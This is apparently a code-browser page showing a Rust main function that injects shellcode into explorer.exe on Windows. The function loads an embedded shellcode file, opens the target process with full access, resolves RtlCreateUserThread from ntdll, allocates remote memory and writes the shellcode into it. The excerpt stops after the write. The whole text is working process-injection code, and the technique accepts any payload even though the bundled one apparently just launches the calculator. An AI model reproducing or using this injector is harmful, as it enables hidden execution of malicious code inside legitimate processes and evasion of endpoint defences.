Function main

rtl_create_user_thread/src/main.rs:14–89

()

#[cfg(target_os = "windows")]
fn main() {
    let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
    let shellcode_size = shellcode.len();
    let mut old = PAGE_READWRITE;

    let mut system = System::new();
    system.refresh_processes();
    let pid = system
        .processes_by_name("explorer.exe")
        .next()
        .expect("[-]no process!")
        .pid()
        .as_u32();

    unsafe {
        let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());
        if ntdll == 0 {
            panic!("[-]LoadLibraryA failed: {}!", GetLastError());
        }

        let fn_rtl_create_user_thread = GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr());

        let rtl_create_user_thread: extern "C" fn(
            HANDLE,
            isize,
            isize,
            isize,
            isize,
            isize,
            *mut c_void,
            isize,
            *mut HANDLE,
            isize,
        ) = transmute(fn_rtl_create_user_thread);

        let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if handle == 0 {
            panic!("[-]OpenProcess failed: {}!", GetLastError());
        }

        let addr = VirtualAllocEx(
            handle,
            null(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
        if addr.is_null() {
            panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
        }

        let res = WriteProcessMemory(
            handle,
            addr,
            shellcode.as_ptr().cast(),
            shellcode_size,
            null_mut(),
        );